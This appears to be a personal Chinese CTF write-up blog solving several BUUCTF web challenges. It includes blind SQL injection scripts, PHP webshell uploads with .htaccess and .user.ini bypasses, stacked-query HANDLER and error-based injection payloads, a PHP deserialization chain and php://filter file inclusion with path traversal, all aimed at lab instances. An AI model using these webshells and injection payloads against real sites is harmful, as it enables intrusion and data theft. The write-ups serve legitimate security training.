Accept-Language: zh-CN,zh;q=0.9
Origin: http://cb3e0494-3cbe-4dca-b625-ed7bbc363bbe.node5.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://cb3e0494-3cbe-4dca-b625-ed7bbc363bbe.node5.buuoj.cn:81/index.php
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

id=1

然后就是对id进行注入了,
用bp fuzz一下,大概过滤了

1
2
3
4
5
6
7
8
9
10
空格
or
||
and
&&
"
;
'xmlupdate()
/**/
`

试出如下

1
2
3
4
5
6
7
1^(length(database())=2)

若是length是对的会返回:
Error Occured When Fetch Result.

否则返回:
Hello, glzjin wants a girlfriend.

由此可以对进行盲注
先用bp已经测试出数据库长度为11;
找个脚本改改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import requests
import time
# str= "-./0123456789:;<>=?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~#"
url = 'http://69638964-21bc-445d-a323-6de57b0ff6bb.node5.buuoj.cn:81/'
database_name=''
name=""

for i in range (10,12):
for l in range (32,127):
time.sleep(0.2)
payload = '1^(ascii(substr(database(),{},1))={})'.format(i,l)
data = {'id': payload}
re = requests.post(url,data)
print("testing 数据库名称第:",i,"第个",chr(l),"字符")
if 'Error Occured When Fetch Result.' in re.text:
name=name+chr(l)
print("数据库名称:",name)
break

# for i in range (1,l+1) :
# for s in str:
# payload = "1&&substr(database(),{},1)='{}'".format(i,s)
# data = {'id': payload}
# re = requests.post(url,data)
# if 'Nu1L' in re.text:
# database_name=database_name + s
# print("第",i,"个字符: ",database_name)
# break

# for l in range (1,1000):
# time.sleep(0.05)
# payload = "1&&length((select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()))={} ".format(l)
# data = {'id': payload}
# re = requests.post(url,data)
# print("表名长度:",l)
# if 'Nu1L' in re.text:
# print("全表名长度:",l)
# break

# for i in range (1,l+1):
# for s in str:
# time.sleep(0.05)
# payload = "1&&substr((select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()),{},1)='{}' ".format(i,s)
# data = {'id': payload}
# re = requests.post(url,data)
# if 'Nu1L' in re.text:
# name=name + s
# print("表名:",name)
# break

# flag=''
# for l in range (1,10000):
# f=''
# for s in range (32,127):
# time.sleep(0.08)
# f=flag + chr(s)
# payload = '1&&((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(f)
# data = {'id': payload}
# re = requests.post(url,data)
# if 'Nu1L' in re.text:
# flag=flag + chr(s-1)
# print(flag.lower)
# break

先跑出数据库名:
ctftraining
然后题目给了表明和列明,那直接爆flag就行,那我跑库名干什么?
就当测试吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import requests
import time
# str= "-./0123456789:;<>=?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~#"
url = 'http://b74d121d-ae37-46c5-9e40-49750c875c6b.node5.buuoj.cn:81/index.php'
database_name=''
flag=""

for le in range (1,100):
payload= '1^((length((select(flag)from(flag))))<{})'.format(le)
data = {'id': payload}
re = requests.post(url,data)
print("测试flag长度中:",le)
if 'Error Occured When Fetch Result.' in re.text:
print("flag长度为:",le)
break

for i in range (1,le+1):
for l in range (32,117):
time.sleep(0.1)
payload = '1^((ascii(substr((select(flag)from(flag)),{},1)))={})'.format(i,l)
data = {'id': payload}
re = requests.post(url,data)
print("flag名称第:",i,"个字符",chr(l),' ',flag)
if 'Error Occured When Fetch Result.' in re.text:
flag=flag+chr(l)
print("flag:",flag)
break

# for i in range (1,l+1) :
# for s in str:
# payload = "1&&substr(database(),{},1)='{}'".format(i,s)
# data = {'id': payload}
# re = requests.post(url,data)
# if 'Nu1L' in re.text:
# database_name=database_name + s
# print("第",i,"个字符: ",database_name)
# break

# for l in range (1,1000):
# time.sleep(0.05)
# payload = "1&&length((select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()))={} ".format(l)
# data = {'id': payload}
# re = requests.post(url,data)
# print("表名长度:",l)
# if 'Nu1L' in re.text:
# print("全表名长度:",l)
# break

# for i in range (1,l+1):
# for s in str:
# time.sleep(0.05)
# payload = "1&&substr((select group_concat(table_name)from sys.x$schema_flattened_keys where table_schema=database()),{},1)='{}' ".format(i,s)
# data = {'id': payload}
# re = requests.post(url,data)
# if 'Nu1L' in re.text:
# name=name + s
# print("表名:",name)
# break

# flag=''
# for l in range (1,10000):
# f=''
# for s in range (32,127):
# time.sleep(0.08)
# f=flag + chr(s)
# payload = '1&&((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(f)
# data = {'id': payload}
# re = requests.post(url,data)
# if 'Nu1L' in re.text:
# flag=flag + chr(s-1)
# print(flag.lower)
# break

可能是我昨晚做迷糊了,卡在length和substr里面用select需要再加一层括号里,卡了一个半小时,到凌晨3点半,
一道题做了三个半小时,道心破碎了;
至少最后独立做出来了;
flag{e53ac9ec-ab18-44e9-89b4-f1b39d8f813c}

[GXYCTF2019]BabyUpload

先传个🐎看看:

1
2
3
4
5
6
7
8
传php木马:
回显:后缀名不能有ph!

传正常png文件:
上传类型也太露骨了吧!

jpg看看:
上传类型也太露骨了吧!

不管了,bp抓包改

1
2
3
4
5
6
7
8
Content-Disposition: form-data; name="uploaded"; filename="shell.jpeg"
Content-Type: image/jpeg

<script language='php'>@eval($_POST[zhong]);</script>
<script language='php'>system('cat /flag');</script>

成功:
/var/www/html/upload/407deea951641fdc86613277efecd816/shell.jpeg succesfully uploaded!

在浏览器上访问成功,但是用蚂蚁连接不上,应该也是没目录没php解析的问题,
观察到服务器端为apache
那应该就是尝试.htaccess

1
2
3
4
5
6
Content-Disposition: form-data; name="uploaded"; filename=".htaccess"
Content-Type: image/jpeg

SetHandler application/x-httpd-php

/var/www/html/upload/407deea951641fdc86613277efecd816/.htaccess succesfully uploaded!

蚂蚁连接成功,在根目录找到flag
本来看到这串路径我还以为是随机目录之类的

乘机试了一下,想在.htaccess文件中直接添加木马,结果连不上,可能是不行吧
在upload目录下搞得,还把环境搞坏了

[MRCTF2020]Ez_bypass

打开题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) { //md5绕过,要求两个值不相等但是计算的md5相等,
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}

}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first

第一先试一下数组绕过:

1
2
3
?id[]=0&gg[]=1

You got the first steponly one way to get the flag

然后添加post数据:

1
2
3
4
5
?id[]=0&gg[]=1

passwd=1234567

You got the first stepYou can not get it !

要对is_numeric进行绕过,源码里的:
if (!is_numeric($passwd))
是不能是纯数字意思
那passwd=1234567aa,
拿到flag,

php比较绕过 is_numeric()

因为php对字符串类型与整数类型进行==比较时会把字符串转化为整型数据,
此时
1234567aa 就会变为 1234567
实现比较


title: note-33
date: 2025-05-07 13:05:02
tags: web

[SUCTF 2019]CheckIn

传正常图片提示里面有<?不给传,传码看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /index.php HTTP/1.1
Host: 5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81
Content-Length: 407
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE46PLUBJtp0zgdcj
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81/index.php
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundaryE46PLUBJtp0zgdcj
Content-Disposition: form-data; name="fileUpload"; filename="php.jpg"
Content-Type: image/jpg

<script language='php'>@eval($_POST[shell]);</script>
<script language='php'>system('cat /flag');</script>
------WebKitFormBoundaryE46PLUBJtp0zgdcj
Content-Disposition: form-data; name="upload"

提交
------WebKitFormBoundaryE46PLUBJtp0zgdcj--

提示:
exif_imagetype:not image!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /index.php HTTP/1.1
Host: 5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81
Content-Length: 403
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8mJUC80q1aGOXScd
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81/index.php
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundary8mJUC80q1aGOXScd
Content-Disposition: form-data; name="fileUpload"; filename="php2.jpg"
Content-Type: image/jpg

FFD8FF
<script language='php'>@eval($_POST[shell]);</script>
<script language='php'>system('cat /flag');</script>
------WebKitFormBoundary8mJUC80q1aGOXScd
Content-Disposition: form-data; name="upload"

提交
------WebKitFormBoundary8mJUC80q1aGOXScd--

提示:
exif_imagetype:not image!

这次换个文件头:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /index.php HTTP/1.1
Host: 5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81
Content-Length: 403
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3I0b63Tc4FZzgA5s
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81/index.php
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundary3I0b63Tc4FZzgA5s
Content-Disposition: form-data; name="fileUpload"; filename="php2.jpg"
Content-Type: image/jpg

GIF89a
<script language='php'>@eval($_POST[shell]);</script>
<script language='php'>system('cat /flag');</script>
------WebKitFormBoundary3I0b63Tc4FZzgA5s
Content-Disposition: form-data; name="upload"

提交
------WebKitFormBoundary3I0b63Tc4FZzgA5s--

回显

1
2
3
Your dir uploads/9987df285bb375eda68448315c5656e5
Your files :
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" [3]=> string(9) "php2.jpg" }

那目录就是
/uploads/9987df285bb375eda68448315c5656e5/php2.jpg
蚂蚁又是连不上,但是这次是nginx服务器啊,
那可能就是user.ini文件了
提交:

1
2
GIF89a
auto_prepend_file = php2.jpg

回显:

1
2
3
Your dir uploads/9987df285bb375eda68448315c5656e5
Your files :
array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) ".user.ini" [3]=> string(9) "index.php" [4]=> string(9) "php2.jpg" }

这个.user.ini的大概用法是让目录下所有php文件包含上你指定的文件,看回显我上传的目录上是有一个index.php的,所以能用.user.ini的办法
蚂蚁连目录上的index.php即可
flag{e8b4a853-b79a-4497-912e-389a9fda03ba}

[GXYCTF2019]BabySQli

应该是sql题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
1'or(1=1);

回显:
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}

array(2) {
[0]=>
string(1) "2"
[1]=>
string(12) "miaomiaomiao"
}

array(2) {
[0]=>
string(6) "114514"
[1]=>
string(2) "ys"
}

怎么好像做过原题

1
2
3
4
5
6
7
8
9
10
1' union select 1,2,3#
回显:
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

1'and if(1=1,1,0)#
ok
这样的话,感觉用sqlmap都行啊
用了sqlmap默认,发现只能检索出数据库名
sumeqrq@i
会不会是@的问题?

算了自己写个脚本吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import time
name=''
# for d in range(0,100):
# url = "http://708bd9b9-1fc7-485b-8d30-cf4721d3516a.node5.buuoj.cn:81/?inject=1%27and+length%28database%28%29%29%3D{}%23#".format(d)
# re = requests.get(url)
# print("testing",d)
# if 'hahahah' in re.text:
# print("数据库名长度为:",d)
# break
for d1 in range(1,11):
for dn in range(32,137):
time.sleep(0.07)
url = "http://708bd9b9-1fc7-485b-8d30-cf4721d3516a.node5.buuoj.cn:81/?inject=1%27and+ascii%28substr%28database%28%29%2C{}%2C1%29%29%3D{}%23#".format(d1,dn)
re = requests.get(url)
print("testing",d1,chr(dn),name)
if 'hahahah' in re.text:
name=name+chr(dn)
print(name)

跑出来是 supersqli
但是无法用select和where,也许可以试试预编译?
1’;prepare hack from concat(‘sele’,’ct’,’*‘);execute hack;@
prepare也过滤了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
1'and extractvalue(1,concat('!',database()))#
//error 1105 : XPATH syntax error: '!supersqli'

1'and extractvalue(1,concat('!',show tables name))#

1'and extractvalue(1,concat('!',@@dir))#

1'and extractvalue(1,concat('!',user()))#
//error 1105 : XPATH syntax error: '!root@localhost'

想用rename也被过滤了;

1';show databases;#

array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}

array(1) {
[0]=>
string(11) "ctftraining"
}

array(1) {
[0]=>
string(18) "information_schema"
}

array(1) {
[0]=>
string(5) "mysql"
}

array(1) {
[0]=>
string(18) "performance_schema"
}

array(1) {
[0]=>
string(9) "supersqli"
}

array(1) {
[0]=>
string(4) "test"
}


1';show tables from supersqli;#

array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}

array(1) {
[0]=>
string(8) "FlagHere"
}

array(1) {
[0]=>
string(5) "words"
}

1';show colums from FlagHere;#
不回显

1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;
或者
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;
//flag{0bc2fe53-291d-4d3d-9a1c-adc6d658396e}

不说了,原题是2019网鼎杯 随便注,限制了重命名和预编译解法,但是能用handler,复制粘贴payload即可解。。。

[SWPUCTF 2021 新生赛]pop

以前的题,做了好久,看了一眼以前的wp,加上AreUSerialz,以后除了public类还是直接在原来的class里直接赋值的好,不然一直出问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php

error_reporting(0);
show_source("index.php");

class w44m{

private $admin = 'w44m';
protected $passwd = '08067';

public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}

class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}

class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}

$a=new w22m();
$a->w00m=new w33m();
$a->w00m->w00m=new w44m();
$a->w00m->w22m='Getflag';
echo urlencode(serialize($a));
?>

[BSidesCF 2020]Had a bad day

拿到题目,可以看到这能提供猫猫和狗狗的图片,随便选一个

1
/index.php?category=woofers

fuzz一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/index.php?category=woofers;ls

Warning: include(woofers;ls.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 37
Warning: include(): Failed opening 'woofers;ls.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 37

/index.php?category=index

Sorry, we currently only support woofers and meowers.

/index.php?category=meowers;flag

Warning: include(meowers;flag.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 37

Warning: include(): Failed opening 'meowers;flag.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 37

一般这种有include函数的可以试试伪协议,然后刚才就有站点目录了,试一下目录穿越看看flag是否在根目录
然后若是没有那个目录会返回:
Sorry, we currently only support woofers and meowers.

然后就是能用
php://filter/convert.base64-encode/resource=index
来返回index文件的base64
注意到源码里会自动给它加上.php

1
2
3
4
5
/index.php?category=php://filter/convert.base64-encode/resource=index.php

Warning: include(php://filter/convert.base64-encode/resource=index.php.php): failed to open stream: operation failed in /var/www/html/index.php on line 37

Warning: include(): Failed opening 'php://filter/convert.base64-encode/resource=index.php.php' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/index.php on line 37

到现在能想到的是想办法目录穿越到根目录下读取flag,

先是

1
/index.php?category=php://filter/convert.base64-encode/resource=index.php

拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="description" content="Images that spark joy">
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
<title>Had a bad day?</title>
<link rel="stylesheet" href="css/material.min.css">
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<div class="page-layout mdl-layout mdl-layout--fixed-header mdl-js-layout mdl-color--grey-100">
<header class="page-header mdl-layout__header mdl-layout__header--scroll mdl-color--grey-100 mdl-color-text--grey-800">
<div class="mdl-layout__header-row">
<span class="mdl-layout-title">Had a bad day?</span>
<div class="mdl-layout-spacer"></div>
<div>
</header>
<div class="page-ribbon"></div>
<main class="page-main mdl-layout__content">
<div class="page-container mdl-grid">
<div class="mdl-cell mdl-cell--2-col mdl-cell--hide-tablet mdl-cell--hide-phone"></div>
<div class="page-content mdl-color--white mdl-shadow--4dp content mdl-color-text--grey-800 mdl-cell mdl-cell--8-col">
<div class="page-crumbs mdl-color-text--grey-500">
</div>
<h3>Cheer up!</h3>
<p>
Did you have a bad day? Did things not go your way today? Are you feeling down? Pick an option and let the adorable images cheer you up!
</p>
<div class="page-include">
<?php
$file = $_GET['category'];

if(isset($file))
{
if( strpos( $file, "woofers" ) !== false || strpos( $file, "meowers" ) !== false || strpos( $file, "index")) //要有匹配的字符才能进到下一步的include函数
include ($file . '.php');
}
else{
echo "Sorry, we currently only support woofers and meowers.";
}
}
?>
</div>
<form action="index.php" method="get" id="choice">
<center><button onclick="document.getElementById('choice').submit();" name="category" value="woofers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Woofers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button>
<button onclick="document.getElementById('choice').submit();" name="category" value="meowers" class="mdl-button mdl-button--colored mdl-button--raised mdl-js-button mdl-js-ripple-effect" data-upgraded=",MaterialButton,MaterialRipple">Meowers<span class="mdl-button__ripple-container"><span class="mdl-ripple is-animating" style="width: 189.356px; height: 189.356px; transform: translate(-50%, -50%) translate(31px, 25px);"></span></span></button></center>
</form>

</div>
</div>
</main>
</div>
<script src="js/material.min.js"></script>
</body>
</html>

strpos()函数,匹配对应字符

1
2
3
http://512acbf5-c929-427e-aec6-d35d2e44994c.node5.buuoj.cn:81/flag.php

<!-- Can you read this flag? -->

页面未返回404,说明flag就在站点默认目录下,并且是.php后缀
加上提示,就需要读取flag.php源码,
所以解法是利用index.php?category=
里的include函数,使用伪协议编码读取flag.php的源码

1
2
3
index.php?category=php://filter/convert.base64-encode/resource=woofers/../flag

解码得到flag

notice php的include函数访问目录解析:

kimi:
PHP的include函数在解析文件路径时会进行路径标准化,会按文件路径中的../进行目录跳转,即使没有实际的woofers文件目录。

当woofers/../flag.php被传入并交给include函数时,PHP会将其解析为flag.php,因为在路径解析过程中,../会跳过前面的woofers目录,最终只剩下flag.php,这也就导致了没有woofers文件目录的情况下也能解析到flag.php。

为了防止这种情况,你应该对传入的文件名进行严格过滤和验证,避免包含目录跳转等特殊字符,只允许包含合法的文件名字符,确保传入的文件名符合预期的文件目录结构,并使用且绝对路径或限制目录范围等措施,来防止这种路径解析问题导致的安全风险。

q:
听不懂,意思../解析的优先级大吗?

kimi:
在路径解析中,../的作用是返回上一级目录,它不是优先级的问题,而是一个路径解析的逻辑。
路径解析的逻辑:

当 PHP 处理文件路径时,它是按照路径的逻辑来解析的。例如,对于路径woofers/../flag.php,PHP 会先看到woofers目录,然后遇到../,这意味着要回到上一级目录。最后,再访问flag.php文件。
这个过程可以类比于你在文件系统中手动导航目录。假设你当前在某个目录下,先进入woofers子目录,然后又返回上一级目录(通过../),此时你又回到了原来的位置,接着再访问flag.php文件。
所以,在路径解析中,../会改变当前路径的逻辑位置,而不管文件系统中实际的目录是否存在。

为什么没有woofers目录也能解析:

PHP 在解析路径时,并不是先检查路径中的每个目录是否存在,而是先按照路径的逻辑进行标准化处理。
在路径woofers/../flag.php中,woofers和../相互抵消,最终得到的路径是flag.php。PHP 会尝试去包含这个flag.php文件,不管前面的woofers目录是否存在。
这就好比你在数学中进行运算,5 + 3 - 3的结果是 5,中间的加和减操作是按照运算逻辑进行的,不管中间的数字是否代表实际存在的东西。
这种路径解析机制在 PHP 中是比较常见的,它允许灵活地引用文件,但也可能导致安全问题,如目录遍历攻击,这就是为什么需要对用户输入的文件名进行严格过滤和验证的原因。

我想大概意思就是会先解析完目录,再去访问目录是否存在,所以它是先解析完
woofers/../flag.php =
/flag
再去访问解析完的目录,而不会在解析时去访问woofers目录

[RoarCTF 2019]Easy Java

试了sql注入,点了hlep,然后试了一下常规的目录穿越,无果
用dirsearch扫出了/images 访问,404,
得到服务器信息:
Apache Tomcat/8.5.24 是一个基于java的服务端
直接访问了help.docx
http://420afca9-2c54-4dc1-9d86-cc41a97eb1bf.node5.buuoj.cn:81/help.docx
下载help.docx
里面只有:

1
Are you sure the flag is here? ? ?

web题就不考虑docx隐写啥的了

看wp:
https://blog.csdn.net/xhy18634297976/article/details/123117897
https://www.cnblogs.com/MrSoap/p/18356439

直接搬过来:
WEB-INF 是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。

1
2
3
4
5
6
 WEB-INF主要包含以下文件或目录:
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件

web.xml里记有映射的文件,似乎是把url的请求映射到指定的编译号的java程序,class文件,可能和php文件差不多吧

https://www.cnblogs.com/MrSoap/p/18356439
说的很清楚了

漏洞成因:
https://blog.csdn.net/xhy18634297976/article/details/123117897

反正最后是用download文件下载了flagcontainer的class文件,应该就是程序的源码?
或者啥的
然后里面有base64的flag

这题如题,ez java
没接触过,不懂

.class 文件是什么

.class 文件是Java编译器生成的字节码文件,它包含了Java源代码编译后的二进制表示。Java虚拟机(JVM)可以直接执行这些字节码文件,而无需依赖特定的硬件平台或操作系统

[网鼎杯 2018]Fakebook

上来是一个登录和注册页面,说分享故事啥的
上来养成好习惯,先按f12看一下前端留有啥,
搜了一下flag和php,没发现有啥

那就用bp fuzz一下login界面
视乎无法注入

然后再join试了好多,都是blog is not valid
扫了一下服务器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[00:10:49] 301 -  185B  - /js  ->  http://22e4b823-f430-45fb-9de3-bc621615b379.node5.buuoj.cn/js/
[00:11:17] 404 - 571B - /.css
[00:11:37] 404 - 571B - /.gif
[00:11:57] 404 - 571B - /.ico
[00:12:06] 404 - 571B - /.jpeg
[00:12:06] 404 - 571B - /.jpg
[00:12:33] 404 - 571B - /.png
[00:16:13] 404 - 571B - /adm/style/admin.css
[00:17:30] 404 - 571B - /admin_my_avatar.png
[00:21:17] 301 - 185B - /css -> http://22e4b823-f430-45fb-9de3-bc621615b379.node5.buuoj.cn/css/
[00:21:28] 200 - 0B - /db.php
[00:22:15] 200 - 0B - /error.php
[00:22:32] 200 - 6KB - /favicon.ico
[00:22:42] 200 - 0B - /flag.php
[00:24:02] 403 - 571B - /js/
[00:24:35] 200 - 1KB - /login.php
[00:24:40] 404 - 571B - /logo.gif
[00:27:44] 404 - 571B - /resources/.arch-internal-preview.css
[00:27:49] 200 - 37B - /robots.txt
[00:28:36] 404 - 571B - /skin1_admin.css
[00:29:57] 200 - 0B - /user.php
[00:30:20] 200 - 1019B - /view.php

有robots.txt,里面提示有一个
user.php.bak
备份文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

给deepseek一看,它说有ssrf漏洞,还没接触过呢
然后也是看懂这个网站的逻辑了,就是你能注册姓名和账号,然后把你的blog链接挂上去
所以blog那栏必须是域名还得是二级域名啥的,

1
2
3
便尝试:
http://cd541869-c627-4baf-920d-2fd4728ad4f0.node5.buuoj.cn:81/flag.php
放上去当作blog链接

一次放我正常的blog链接,
一次放:
http://cd541869-c627-4baf-920d-2fd4728ad4f0.node5.buuoj.cn:81/flag.php

没思路,不知道怎么下手,找wp看吧

1
2
3
4
5
6
7
8
9
10
11
先访问
/view.php
得到

Notice: Undefined index: no in /var/www/html/view.php on line 24
[*] query error! (You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '' at line 1)


Fatal error: Call to a member function fetch_assoc() on boolean in /var/www/html/db.php on line 66

可以知道站点目录

看网上的wp(https://blog.csdn.net/MyZy_/article/details/143814939)方法就是:
先上传一个符合规则的信息,然后使用sql注入把信息中博客url改为本地访问flag.php
或者因为没过滤sql的file_load(),可以直接读取flag.php

那就先用自己的github地址注册一条信息
然后在/view.php?on=1中进行注入
然后发现现在的buuctf好像为了防止靶机变成肉鸡,不给出网了
那没办法,去nssctf上做吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
1'union<>select<>1,2,3--+
//不行

updatexml(1,concat(%27!%27,database()),1)--
//[*] query error! (XPATH syntax error: '!fakebook')

